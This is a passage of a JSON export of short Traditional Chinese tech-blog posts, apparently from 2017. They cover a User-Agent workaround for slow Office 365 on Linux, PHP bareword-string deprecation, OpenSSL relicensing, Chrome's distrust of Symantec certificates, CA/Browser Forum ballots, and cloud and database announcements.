    "body": "在 <a href=\"https://www.facebook.com/\">Facebook</a> 上看到剛剛在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上熱起來的「<a href=\"https://news.ycombinator.com/item?id=13932226\">Onedrive is slow on Linux but fast with a “Windows” user-agent (2016)</a>」這篇，引用了 2016 年在 <a href=\"https://answers.microsoft.com/\">Microsoft Community</a> 上的討論：「<a href=\"https://answers.microsoft.com/en-us/msoffice/forum/msoffice_onedrivefb-mso_o365brs/onedrive-for-business-open-is-very-slow-on-linux/3d33dc1b-3cc3-4c24-9998-9ab96bad31fc\">Onedrive for Business open is very slow on Linux (Chrome/Firefox) but with very fast with a \"Windows\" user-agent</a>」。\r\n\r\n在 <a href=\"https://www.reddit.com/\">Reddit</a> 的「<a href=\"https://www.reddit.com/r/linux/comments/60nj67/office_365_onedrive_looks_at_useragent_to/df7wnk1/\">Office 365 Onedrive looks at user-agent to determine performance.</a>」有更多的討論。\r\n\r\n因為工作上也會用到 <a href=\"https://en.wikipedia.org/wiki/Office_365\">Office 365</a>，也覺得在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 上用起來超級慢，然後看到有使用者也講了 <a href=\"https://www.linux.com/\">Linux</a> 下的 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 也會有類似的問題：\r\n\r\n<blockquote>I just tried this same thing--changing the OS in the user agent--on Chome on Linux. The difference really is incredible. Normally I find 365 to be so slow as to be borderline unusable, now it's almost as quick as Google docs. Even the institutional log-ins for my university are faster.\r\n\r\nEDIT: Just to clarify, I was testing specifically the web apps for Word and OneNote hosted by my uni. I tried loading them both in normal tabs and ones where I had changed the OS useragent in Chrome's developer panel. The normal tabs hung badly as usual (30+ seconds to load the UI), while the modified tabs loaded very quickly. I tried this several times, but I suppose YMMV.</blockquote>\r\n\r\n所以我也拿「<a href=\"https://chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg\">User-Agent Switcher for Chrome</a>」加上 IE11 的 user-agent 後測試：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/j0WRCgT.webp\" /><img src=\"https://i.gslin.com/imgur/j0WRCgT.jpg\" alt=\"\" /></picture>\r\n\r\n最明顯的差異就是 redirect 變少了，然後開 Word 與 Excel 的速度變快好多 @_@\r\n\r\n在原討論串上的官方回應是：\r\n\r\n<blockquote>As Office 365 for Business services(e.g. SharePoint Online, including OneDrive for Business, Exchange Online) are not supported on Linux as shown below, for the best experience, we recommend the operating system listed in the article.</blockquote>\r\n\r\n所以只能拿老招出來，把 User-Agent 改成 IE 後就變得超～級～快～\r\n\r\n然後最 helpful 的回答是：\r\n\r\n<blockquote>Thank you\r\nI go back to Google Apps suite.\r\nDL</blockquote>\r\n\r\n棍 XDDD",
    "title": "修改 User-Agent 讓 Office 365 服務變快..."
  },
  {
    "id": "7203",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://secure.php.net/\">PHP</a> 的 unquoted string 被視為字串的功能將被移除：「<a href=\"https://wiki.php.net/rfc/deprecate-bareword-strings\">PHP RFC: Deprecate and Remove Bareword (Unquoted) Strings</a>」。\r\n\r\n常見的情境是 <code>$_GET[bar]</code> 這樣的用法被視為與 <code>$_GET[\"bar\"]</code> 相同... 超奇怪的功能，而現在這個功能已經投票通過，將會在 7.2 被列為 deprecated，到 8 就會拿掉。\r\n\r\n這個功能本來是標示 <code>E_NOTICE</code>，但比較特別的是，雖然是列為 deprecated，PHP 7.2 預定會標示為 <code>E_WARNING</code> 而不是 <code>E_DEPRECATED</code>。主要是這次的兩個目標互相衝突 (可以參考原文)，取比較有效的那個 (因為 PHP 8 就不會有這個問題了，所以 PHP 7.2 的過渡期以比較容易提醒使用者的那個為主)。\r\n\r\n投票是 100% 通過 (41/41)。",
    "title": "PHP 的 Unquoted Strings 將在 PHP 8 被移除"
  },
  {
    "id": "7204",
    "body": "所以有新的 streaming protocol 取代本來的 <a href=\"https://wikitech.wikimedia.org/wiki/RCStream\">RCStream</a>：「<a href=\"https://blog.wikimedia.org/2017/03/20/eventstreams/\">Get live updates to Wikimedia projects with EventStreams</a>」。\r\n\r\n這次新的 protocol 是走標準協定：\r\n\r\n<blockquote>EventStreams is built on the w3c standard <a href=\"https://en.wikipedia.org/wiki/Server-sent_events\">Server Sent Events (SSE)</a>.  SSE is simply a streaming HTTP connection with event data in a particular text format.  Client libraries, usually called EventSource, assist with building responsive tools, but because SSE is really just HTTP, you can use any HTTP client (<a href=\"https://wikitech.wikimedia.org/wiki/EventStreams#Command-line\">even curl!</a>) to consume it.</blockquote>\r\n\r\n直接用瀏覽器打開也可以看到一直冒出來新的訊息...",
    "title": "收 Wikimedia (包括維基百科) 的 Recent Changes"
  },
  {
    "id": "7205",
    "body": "<a href=\"https://www.openssl.org/\">OpenSSL</a> 最近打算把原本的 license 換成 <a href=\"https://www.apache.org/licenses/LICENSE-2.0\">Apache License, Version 2.0</a>：「<a href=\"https://www.openssl.org/blog/blog/2017/03/22/license/\">Licensing Update</a>」。\r\n\r\n主要的原因是希望相容於現有大多數的 open source project：\r\n\r\n<blockquote>OpenSSL Re-licensing to Apache License v. 2.0 To Encourage Broader Use with Other FOSS Projects and Products</blockquote>\r\n\r\n但這非常詭異啊，舊的 license 最大的問題就是與 <a href=\"https://www.gnu.org/licenses/old-licenses/gpl-2.0.html\">GPLv2</a> 不相容，而預定要換的 AL 2.0 也還是不相容啊，搞屁啊。",
    "title": "OpenSSL 將轉為 Apache 2.0 License"
  },
  {
    "id": "7207",
    "body": "本來 <a href=\"https://www.heroku.com/\">Heroku</a> 提供的 SSL certificate 是要收費的，現在則是提供 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的免費版本，而且提供自動更新 (不過必須是收費的 Dynos)：「<a href=\"https://blog.heroku.com/announcing-automated-certificate-management\">Announcing Free and Automated SSL Certs For All Paid Dynos</a>」。\r\n\r\n<blockquote>Heroku has always made it easy to add SSL encryption to web applications — today’s release of ACM extends that further to automatically generate a TLS certificate issued by Let’s Encrypt for your application’s custom domains.</blockquote>\r\n\r\n細節的操作可以參考「<a href=\"https://devcenter.heroku.com/articles/automated-certificate-management\">Automated Certificate Management</a>」這邊的說明。",
    "title": "Heroku 支援自動化 Let's Encrypt 了"
  },
  {
    "id": "7208",
    "body": "<a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://twitter.com/sleevi_\">Ryan Sleevi</a> 宣佈了對 <a href=\"https://www.symantec.com/\">Symantec</a> 所發佈的的 SSL Certificate 的不信任計畫：「<a href=\"https://groups.google.com/a/chromium.org/d/msg/blink-dev/eUAKwjihhBs/rpxMXjZHCQAJ\">Intent to Deprecate and Remove: Trust in existing Symantec-issued Certificates</a>」。\r\n\r\n這邊講「不信任計畫」，主要是因為 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 不是打算移除，而是限制 Symantec 發出的 SSL certificate 的有效期限。這有種 <a href=\"https://en.wikipedia.org/wiki/Too_big_to_fail\">too big to fail</a> 的感覺...\r\n\r\n以市占率來看，無論是「<a href=\"https://w3techs.com/technologies/overview/ssl_certificate/all\">Usage of SSL certificate authorities for websites</a>」這邊算出來的 15.4%，或是「<a href=\"https://www.css-security.com/research/\">SSL Market Share Report</a>」這邊算出來的 24%，移除的影響都是巨大無比，再加上歷史上最早一批 CA 公司幾乎都被 Symantec 買進去 (像是 <a href=\"https://www.verisign.com/\">Verisign</a>、<a href=\"https://www.thawte.com/\">Thawte</a>)：\r\n\r\n<blockquote>This compatibility risk is especially high for Symantec-issued certificates, due to their acquisition of some of the first CAs, such as Thawte, Verisign, and Equifax, which are some of the most widely supported CAs. Distrusting such CAs creates further difficulty for providing secure connections to both old and new devices alike, due to the need to ensure the CA a site operator uses is recognized across these devices.</blockquote>\r\n\r\n所以不信任計畫將會不會採取移除，而是其他方式：\r\n\r\n<blockquote>To balance the compatibility risks versus the security risks, we propose a gradual distrust of all existing Symantec-issued certificates, requiring that they be replaced over time with new, fully revalidated certificates, compliant with the current Baseline Requirements. This will be accomplished by gradually decreasing the ‘maximum age’ of Symantec-issued certificates over a series of releases, distrusting certificates whose validity period (the difference of notBefore to notAfter) exceeds the specified maximum.</blockquote>\r\n\r\n也就是後面的每一個新版的 Google Chrome 都會降低對 certificate 可以設定的有效期限，直到降到九個月 (279 天)：\r\n\r\n<blockquote>The proposed schedule is as follows:\r\nChrome 59 (Dev, Beta, Stable): 33 months validity (1023 days)\r\nChrome 60 (Dev, Beta, Stable): 27 months validity (837 days)\r\nChrome 61 (Dev, Beta, Stable): 21 months validity (651 days)\r\nChrome 62 (Dev, Beta, Stable): 15 months validity (465 days)\r\nChrome 63 (Dev, Beta): 9 months validity (279 days)\r\nChrome 63 (Stable): 15 months validity (465 days)\r\nChrome 64 (Dev, Beta, Stable): 9 months validity (279 days)</blockquote>\r\n\r\n另外安全標示也將會被拔除：\r\n\r\n<blockquote>Therefore, we propose to remove such indicators, effective immediately, until Symantec is able to demonstrate the level of sustained compliance necessary to grant such trust, which will be a period no less than a year. After such time has passed, we will consider requests from Symantec to re-evaluate this position, in collaboration with the broader Chromium community.</blockquote>\r\n\r\n接下來看 <a href=\"https://www.mozilla.org/\">Mozilla</a> 端會不會有類似的動作了...",
    "title": "Google 宣佈對 Symantec 發行的 SSL Certficiate 的不信任計畫"
  },
  {
    "id": "7210",
    "body": "看到 <a href=\"http://mora.jp/\">mora</a> 說 <a href=\"https://ja.wikipedia.org/wiki/%E3%83%8B%E3%83%BC%E3%82%A2_%E3%82%AA%E3%83%BC%E3%83%88%E3%83%9E%E3%82%BF\">NieR: Automata</a> 將會出 HiRes 版 OST：「<a href=\"http://mora.jp/topics/news/nierautomata/\">3/29「NieR:Automata」 Original Soundtrack ハイレゾ同時配信決定！</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OlFPaWC.webp\" /><img src=\"https://i.gslin.com/imgur/OlFPaWC.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>2/23に発売されたアクションRPG『NieR:Automata』のゲーム内BGM を収録した、「NieR:Automata」 Original Soundtrackが 3/29ハイレゾ同時配信になります！NieRシリーズはゲームサウンドの評判が高い事でも知られていますが、今作もプロデューサー 齋藤陽介、ディレクター ヨコオタロウ、サウンドプロデューサー 岡部啓一（MONACA）の完全監修による、NieRファン、ゲーム音楽ファン必携の一枚です。</blockquote>\r\n\r\n這太棒啦～",
    "title": "NieR: Automata 將會出 HiRes 版 OST"
  },
  {
    "id": "7211",
    "body": "看到「<a href=\"https://qz.com/937038/github-now-lets-its-workers-keep-the-ip-when-they-use-company-resources-for-personal-projects/\">GitHub now lets its workers keep the IP when they use company resources for personal projects</a>」這則新聞，<a href=\"https://github.com/\">GitHub</a> 正式的條款在「<a href=\"https://github.com/github/balanced-employee-ip-agreement\">Balanced Employee IP Agreement (BEIPA)</a>」這邊可以看到。\r\n\r\n如同報導所提到的，只要不與工作內容相關 (或競爭)，員工都可以保留權利：\r\n\r\n<blockquote>This allows its employees to use company equipment to work on personal projects in their free time, which can occur during work hours, without fear of being sued for the IP. As long as the work isn’t related to GitHub’s own “existing or prospective” products and services, the employee owns it.</blockquote>",
    "title": "GitHub 允許員工在閒暇時間使用公司設備創作他們自己的東西"
  },
  {
    "id": "7212",
    "body": "如標題所寫的，在 <a href=\"https://www.apple.com/mac/\">Mac</a> 上要快速切換輸入法，對我來說主要就是注音與日文假名... 在「<a href=\"https://apple.stackexchange.com/questions/135370/how-can-i-set-up-a-keyboard-shortcut-for-switching-input-source\">How can I set up a keyboard shortcut for switching input source?</a>」這邊看到了兩套軟體。\r\n\r\n一套是 <a href=\"https://bluezbox.com/mlswitcher2.html\">MLSwitcher2</a>，在蘋果官方的 App Store 上就可以下載安裝，但裝上去後發現有時可以用，有時又不能用。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OTrWcVS.webp\" /><img src=\"https://i.gslin.com/imgur/OTrWcVS.jpg\" alt=\"\" /></picture>\r\n\r\n另外一套是 <a href=\"http://rockcell.net/\">IMEShortcuts</a>，用起來就正常多了：\r\n\r\n<img src=\"https://i.gslin.com/imgur/JaUWV0o.gif\" alt=\"\" />\r\n\r\n算是結了一個累積很久的問題...",
    "title": "在 Mac 上快速切換輸入法"
  },
  {
    "id": "7213",
    "body": "<a href=\"https://aws.amazon.com/efs/\">Amazon EFS</a> 在雪梨開放使用：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/03/amazon-elastic-file-system-amazon-efs-available-in-asia-pacific-sydney-region/\">Amazon Elastic File System (Amazon EFS) Available in Asia Pacific (Sydney) Region</a>」。\r\n\r\n非歐美區居然不是日本或是新加坡先上啊... (抱怨)",
    "title": "Amazon EFS 拓展到雪梨"
  },
  {
    "id": "7214",
    "body": "<a href=\"https://cabforum.org/\">CA/Browser Forum</a> 通過了這項提案，將 SSL Certificate 的最大有效時間降到 825 天 (大約 27 個月)：「<a href=\"https://cabforum.org/2017/03/17/ballot-193-825-day-certificate-lifetimes/\">Ballot 193 - 825-day Certificate Lifetimes</a>」。\r\n\r\n所以將會從本來的 39 個月降到 27 個月左右，所以現在買得到最長的 certificate 會有 3 年，以後會有 2 年：\r\n\r\n<blockquote>Recent Ballot 185 demonstrated a consensus among Forum members to reduce the maximum lifetime for DV and OV certificates from 39 months to 825 days (roughly 27 months).  This ballot reflects that consensus, and also reduces the maximum period for reuse of vetting data for DV and OV certificates from 39 months to 27 months.</blockquote>",
    "title": "未來 SSL Certificate 的最大有效時間將降到 825 天"
  },
  {
    "id": "7215",
    "body": "<a href=\"https://cabforum.org/2017/03/08/ballot-187-make-caa-checking-mandatory/\">CA/Browser</a> 通過提案，要求以後 CA 單位都要檢查 DNS CAA record 才能發放憑證 (RFC 6844 的「<a href=\"https://tools.ietf.org/html/rfc6844\">DNS Certification Authority Authorization (CAA) Resource Record</a>」)：「<a href=\"https://cabforum.org/2017/03/08/ballot-187-make-caa-checking-mandatory/\">Ballot 187 - Make CAA Checking Mandatory</a>」。\r\n\r\n<blockquote>Certificate Authority Authorization (CAA) is a DNS Resource Record defined in RFC 6844 – https://datatracker.ietf.org/doc/rfc6844/ , published in January 2013. It allows a DNS domain name holder to specify one or more Certification Authorities (CAs) authorized to issue certificates for that domain and, by implication, that no other CAs are authorized.</blockquote>\r\n\r\n透過 <a href=\"https://en.wikipedia.org/wiki/DNS_Certification_Authority_Authorization\">DNS CAA</a> 資料，你可以限制只有誰可以發你的憑證，直接用白名單做控管。",
    "title": "未來 CA 將會強制要求檢查 DNS CAA record"
  },
  {
    "id": "7216",
    "body": "把 blog 這台機器的 <a href=\"https://secure.php.net/\">PHP</a> 升級到 7.1 了。\r\n\r\n據說會再快一些，像是「<a href=\"https://www.symfony.fi/entry/php-7-1-vs-7-0-benchmarks-symfony\">PHP 7.1 vs. 7.0 performance benchmarks with Symfony</a>」這邊提到的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/KQmNXBL.webp\" /><img src=\"https://i.gslin.com/imgur/KQmNXBL.jpg\" alt=\"\" /></picture>\r\n\r\n看起來沒有 PHP 5.6 升級到 PHP 7.0 那麼大，不過還是有一直在改善。",
    "title": "把 PHP 升級到 7.1"
  },
  {
    "id": "7217",
    "body": "所以 <a href=\"https://aws.amazon.com/emr/\">Amazon EMR</a> 在 <a href=\"https://aws.amazon.com/ec2/spot/\">Spot Instance</a> 競價的時候可以使用 Instance Fleet 了：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-emr-instance-fleets/\">New – Amazon EMR Instance Fleets</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/hPbioWI.webp\" /><img src=\"https://i.gslin.com/imgur/hPbioWI.jpg\" alt=\"\" /></picture>\r\n\r\n雖然機器比較小台而導致數量多一些的時候會有 overhead (通常)，但更容易保持穩定的價錢...",
    "title": "Amazon EMR 支援 Instance Fleet 了"
  },
  {
    "id": "7219",
    "body": "<a href=\"https://www.apple.com/pages/\">Pages</a> 居然可以用 <a href=\"https://en.wikipedia.org/wiki/TeX\">TeX</a> 語法輸入數學式子了：「<a href=\"https://support.apple.com/en-ca/HT207569\">Add mathematical equations to your document in Pages</a>」。\r\n\r\n而且官方還放 <a href=\"https://www.apple.com/iphone/\">iPhone</a> 的示意圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/G1uKq1e.webp\" /><img src=\"https://i.gslin.com/imgur/G1uKq1e.jpg\" alt=\"\" /></picture>\r\n\r\n看起來頗不賴的說 XDDD",
    "title": "Pages 可以用 TeX 語法輸入數學式了..."
  },
  {
    "id": "7220",
    "body": "在「<a href=\"https://stripe.com/blog/rate-limiters\">Scaling your API with rate limiters</a>」這篇 <a href=\"https://stripe.com/\">Stripe</a> 的 <a href=\"https://paultarjan.com/\">Paul Tarjan</a> 提到了四種如何保護 API 的作法。\r\n\r\n前兩種都是 rate limit。第一種是最標準的「你一分鐘可以用幾次」的方式，這是最容易理解的方式。第二種是「你同時間可以用幾個 API request」，這通常會用在大量消耗資源的 API 上，避免短時間內被打爆。\r\n\r\n第三種是拉到整體來看，把 API 分成重要與不重要的，然後直接保留確保重要的 API 有一定的 capacity 可以用：\r\n\r\n<blockquote>We always reserve a fraction of our infrastructure for critical requests. If our reservation number is 20%, then any non-critical request over their 80% allocation would be rejected with status code 503.</blockquote>\r\n\r\n第四種方式是當過載時的自動化處理，平常就把各種工作排優先順序，當超量的時候自動先將低優先權的拿掉：\r\n\r\n<blockquote>Only 100 requests were rejected this month from this rate limiter, but in the past it’s done a lot to help us recover more quickly when we have had load problems. This load shedder limits the impact of incidents that are already happening and provides damage control, while the first three are more preventative.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ufc66bh.webp\" /><img src=\"https://i.gslin.com/imgur/ufc66bh.jpg\" alt=\"\" /></picture>\r\n\r\n不過還是有點怪，Stripe 應該是全部都建在 <a href=\"https://aws.amazon.com/\">AWS</a> 上面 (<a href=\"https://aws.amazon.com/solutions/case-studies/stripe/\">AWS Case Study: Stripe</a>)，跟 auto scaling 的配合好像都沒提到？\r\n\r\n歸類的方式還蠻有條理的，可以學這個方法來規劃...",
    "title": "Stripe 對於控制 API 使用量的作法"
  },
  {
    "id": "7221",
    "body": "<a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 總算是支援 <a href=\"https://nodejs.org/\">Node.js</a> 6.10 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/03/aws-lambda-supports-node-js-6-10/\">AWS Lambda Supports Node.js v6.10</a>」。不過 6 還是沒有原生的 <code>async</code>/<code>await</code>，目前的 7 才有... 還是要靠 module 支援。\r\n\r\n繼續用 <a href=\"https://www.python.org/\">Python</a> 2.7 寫... @_@",
    "title": "AWS Lambda 的 Node.js 支援 6.10 了"
  },
  {
    "id": "7222",
    "body": "不過也不確定是不是愚人節消息就是了：「<a href=\"https://lists.torproject.org/pipermail/tor-dev/2017-March/012088.html\">[tor-dev] Tor in a safer language: Network team update from Amsterdam</a>」。\r\n\r\n<a href=\"https://www.torproject.org/\">Tor</a> 考慮使用 <a href=\"https://www.rust-lang.org/\">Rust</a> 改寫，目前已經完成的部份，以及接下來的規劃：\r\n\r\n<blockquote>What has already been done:\r\n- Rust in Tor build\r\n- Putting together environment setup instructions and a (very small) initial draft for coding standards\r\n- Initial work to identify good candidates for migration (not tightly interdependent)\r\n\r\nWhat we think are next steps:\r\n- Define conventions for the API boundary between Rust and C\r\n- Add a non-trivial Rust API and deploy with a flag to optionally use (to test support with a safe fallback)\r\n- Learn from similar projects\r\n- Add automated tooling for Rust, such as linting and testing</blockquote>\r\n\r\n目前看到後續的討論只有「<a href=\"https://lists.torproject.org/pipermail/tor-dev/2017-April/012100.html\">[tor-dev] Tor in a safer language: Network team update from Amsterdam</a>」這篇，也許等全世界的 4/1 都過了之後再回來確認吧...",
    "title": "Tor 在考慮使用 Rust 改寫"
  },
  {
    "id": "7223",
    "body": "在「<a href=\"https://support.apple.com/en-us/HT207688\">About the security content of iOS 10.3.1</a>」這邊的說明：\r\n\r\n<blockquote>Available for: iPhone 5 and later, iPad 4th generation and later, iPod touch 6th generation and later\r\nImpact: An attacker within range may be able to execute arbitrary code on the Wi-Fi chip\r\nDescription: A stack buffer overflow was addressed through improved input validation.\r\nCVE-2017-6975: Gal Beniamini of Google Project Zero</blockquote>\r\n\r\n這描述看起來就不太妙...",
    "title": "iOS 透過無線網路的 RCE..."
  },
  {
    "id": "7224",
    "body": "<a href=\"https://www.adobe.com/\">Adobe</a> 的繁體中文公告：「<a href=\"https://source.typekit.com/source-han-serif/tw/\">思源宋體</a>」，以及 <a href=\"https://www.google.com/\">Google</a> 的公告：「<a href=\"https://developers.googleblog.com/2017/04/noto-serif-cjk-is-here.html\">Noto Serif CJK is here!</a>」。\r\n\r\n效果看起來還不錯：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/eFQrLlT.webp\" /><img src=\"https://i.gslin.com/imgur/eFQrLlT.jpg\" alt=\"\" /></picture>\r\n\r\n而且分別依照各地區的標準設計 (簡中、繁中、日文、韓文)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/k2MhFIf.webp\" /><img src=\"https://i.gslin.com/imgur/k2MhFIf.jpg\" alt=\"\" /></picture>\r\n\r\n接下來有機會出其他的字型嗎？像是楷體之類的？",
    "title": "Adobe 與 Google 合作推出 Noto Serif CJK (思源宋體)"
  },
  {
    "id": "7225",
    "body": "看起來會有不少災情 (像是 <a href=\"https://en.wikipedia.org/wiki/Microsoft_SQL_Server\">SQL Server</a> 遇到使用 server side 的時間的 SQL query)：「<a href=\"https://thenextweb.com/microsoft/2017/04/03/windows-time-service-wrong/\">Windows Time Service is sending out wrong times and that’s a big problem</a>」，報導裡引用了 <a href=\"https://www.reddit.com/\">Reddit</a> 上「<a href=\"https://www.reddit.com/r/sysadmin/comments/635tgo/psa_timewindowscom_ntp_server_seems_to_be_sending/\">PSA: time.windows.com NTP server seems to be sending out wrong time</a>」這邊的討論串。\r\n\r\n為了避免這種情況，不同單位會用不同方法解決。像是財力充足的 <a href=\"https://www.google.com/\">Google</a> 就自己搞了原子鐘，然後還放 <a href=\"https://developers.google.com/time/\">Google Public NTP</a> 出來給大家用。可以不倚靠外部裝置確保自家時間的正確性。\r\n\r\n另外是有人用 <a href=\"https://www.raspberrypi.org/\">Raspberry Pi</a> 收 GPS 訊號轉成 NTP service (像是「<a href=\"http://www.satsignal.eu/ntp/Raspberry-Pi-NTP.html\">The Raspberry Pi as a Stratum-1 NTP Server</a>」這邊介紹的方式)，不過之前有發生過 GPS 送出來的時間差了 13ms 的事情，也不是完全可靠 (不過相較起來應該還是可以接受)：「<a href=\"http://www.bbc.com/news/technology-35491962\">GPS error caused '12 hours of problems' for companies</a>」。另外可能的方案有 <a href=\"https://en.wikipedia.org/wiki/GLONASS\">GLONASS</a> (俄羅斯的系統)。\r\n\r\n也許之後有機會會需要自己架...",
    "title": "微軟的 Time Service 回應錯誤的時間..."
  },
  {
    "id": "7226",
    "body": "由老大 Werner Vogels 出來講一些細節...\r\n\r\n<a href=\"https://aws.amazon.com/\">AWS</a> EU (Stockholm) Region 預定在 2018 年開張營業：「<a href=\"http://www.allthingsdistributed.com/2017/04/aws-announces-eu-stockholm-region.html\">Välkommen till Stockholm – An AWS Region is coming to the Nordics</a>」。\r\n\r\n<blockquote>The new AWS EU (Stockholm) Region will have three Availability Zones and will be ready for customers to use in 2018.</blockquote>\r\n\r\n這會是歐洲第五個 Region (還有一個法國預定在今年開)：\r\n\r\n<blockquote>The new AWS EU (Stockholm) Region, coupled with the existing AWS Regions in Dublin, Frankfurt, and London, and a future one in France, will provide customers with quick, low-latency access to websites, mobile applications, games, SaaS applications, big data analysis, Internet of Things (IoT) applications, and more.</blockquote>",
    "title": "AWS EU (Stockholm) Region"
  },
  {
    "id": "7227",
    "body": "在「<a href=\"https://blog.acolyer.org/2017/04/03/a-study-of-security-vulnerabilities-on-docker-hub/\">A study of security vulnerabilities on Docker Hub</a>」這邊看到「<a href=\"https://dl.acm.org/citation.cfm?id=3029832\">A Study of Security Vulnerabilities on Docker Hub</a>」這篇論文。\r\n\r\n大概知道會很慘，只是比預期中慘很多：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/IXOw2M3.webp\" /><img src=\"https://i.gslin.com/imgur/IXOw2M3.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/1mVq81M.webp\" /><img src=\"https://i.gslin.com/imgur/1mVq81M.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/N9J35ul.webp\" /><img src=\"https://i.gslin.com/imgur/N9J35ul.jpg\" alt=\"\" /></picture>",
    "title": "Docker Hub 上面 Image 的安全性"
  },
  {
    "id": "7229",
    "body": "今年的 <a href=\"http://amturing.acm.org/\">Turing Award</a> 頒給了 <a href=\"https://en.wikipedia.org/wiki/Tim_Berners-Lee\">Tim Berners-Lee</a>：\r\n\r\n<blockquote>For inventing the World Wide Web, the first web browser, and the fundamental protocols and algorithms allowing the Web to scale.</blockquote>\r\n\r\n終於啊...",
    "title": "Tim Berners-Lee 拿下 2016 年 Turing Award"
  },
  {
    "id": "7230",
    "body": "Counter 是 <a href=\"https://cassandra.apache.org/\">Cassandra</a> 裡一個特別的資料型態，總算是要 porting 進 <a href=\"http://www.scylladb.com/\">ScyllaDB</a> 了：「<a href=\"http://www.scylladb.com/2017/04/04/counters/\">Scylla 1.7 introduces experimental support for counters</a>」。\r\n\r\n由於資料結構的特殊性，在文章裡有提到想像得到的限制：\r\n\r\n<ul>\r\n\t<li>once deleted, counter column value cannot be used again—this is a consequence of the fact that counters can only be incremented or decremented, they cannot be set to any specific value</li>\r\n\t<li>a table cannot contain both counter and regular columns—without this limitation it wouldn’t be possible to provide proper atomicity and isolation guarantees for updates that modify both counters and regular columns in a single row</li>\r\n\t<li>counter columns cannot be members of primary key</li>\r\n\t<li>updates are not idempotent – in case of a write failure the client cannot safely retry the request\r\ncounter columns cannot have time-to-live set</li>\r\n</ul>\r\n\r\n跟 Cassandra 一樣是透過 CRDT 實做的，行為上會是 eventually consistency：\r\n\r\n<blockquote>Scylla implements counters using state-based conflict-free replicated data types (CRDT), which allow atomic operations, like increment or decrement, to be performed locally without the need for synchronization between nodes.</blockquote>\r\n\r\n在「<a href=\"http://www.scylladb.com/technology/status/\">Scylla Status and Roadmap</a>」這邊可以看到其他會在 1.7 出現的功能。",
    "title": "ScyllaDB 1.7 要支援 Cassandra 的 Counter 了"
  },
  {
    "id": "7231",
    "body": "<a href=\"http://www.bittorrent.org/\">BitTorrent</a> 已經有足夠的技術與環境 (ecosystem) 做出完全分散式架構的搜尋引擎了，類似於 <a href=\"https://en.wikipedia.org/wiki/EDonkey_network\">eDonkey Network</a> (或是說後來變成主流的 <a href=\"https://en.wikipedia.org/wiki/EMule\">eMule</a>) 上的 search 功能，但一直沒看到類似的東西...\r\n\r\n而 <a href=\"https://github.com/boramalper/magnetico\">magnetico</a> 算是一個嘗試，完全透過 <a href=\"https://en.wikipedia.org/wiki/Distributed_hash_table\">DHT</a> 搜尋取得結果：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yZs27i0.webp\" /><img src=\"https://i.gslin.com/imgur/yZs27i0.jpg\" alt=\"\" /></picture>\r\n\r\n不過這套軟體的 license 是攻擊性超強的 <a href=\"https://www.gnu.org/licenses/agpl-3.0.html\">AGPLv3</a>，算是實驗性質吧。要真正普及應該要像 eMule 一樣直接做進 client 內...",
    "title": "完全分散式的 BitTorrent 搜尋引擎"
  },
  {
    "id": "7232",
    "body": "<a href=\"https://www.ubuntu.com/\">Ubuntu</a> 跟 <a href=\"https://aws.amazon.com/\">AWS</a> 合作，對 AWS 上 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的 kernel 最佳化：「<a href=\"https://insights.ubuntu.com/2017/04/05/ubuntu-on-aws-gets-serious-performance-boost-with-aws-tuned-kernel/\">Ubuntu on AWS gets serious performance boost with AWS-tuned kernel</a>」。\r\n\r\n透過各界面拉出來的 Ubuntu 16.04 都將會是對 kernel 最佳化過的版本了：\r\n\r\n<blockquote>As of March 29th, Ubuntu Cloud Images for Amazon have been enabled with the AWS-tuned Ubuntu kernel by default. The AWS-tuned Ubuntu kernel will receive the same level of support and security maintenance as all supported Ubuntu kernels for the duration of the Ubuntu 16.04 LTS.</blockquote>\r\n\r\n可以看到大量的改善：\r\n\r\n<ul>\r\n\t<li>Up to 30% faster kernel boot speeds, on a 15% smaller kernel package</li>\r\n\t<li>Full support for Elastic Network Adapter (ENA), including the latest driver version 1.1.2, supporting up to 20 Gbps network speeds for ENA instance types (currently I3, P2, R4, X1, and m4.16xlarge)</li>\r\n\t<li>Improved i3 instance class support with NVMe storage disks under high IO load</li>\r\n\t<li>Increased I/O performance for i3 instances</li>\r\n\t<li>Improved instance initialization with NVMe backed storage disks</li>\r\n\t<li>Disabled CONFIG_NO_HZ_FULL to eliminate deadlocks on some instance types</li>\r\n\t<li>Resolved CPU throttling with AWS t2.micro instances</li>\r\n</ul>\r\n\r\n所以先前打包好的 AMI 都要再重打一次了... @_@",
    "title": "Amazon EC2 上的 Ubuntu 的效能提昇"
  },
  {
    "id": "7233",
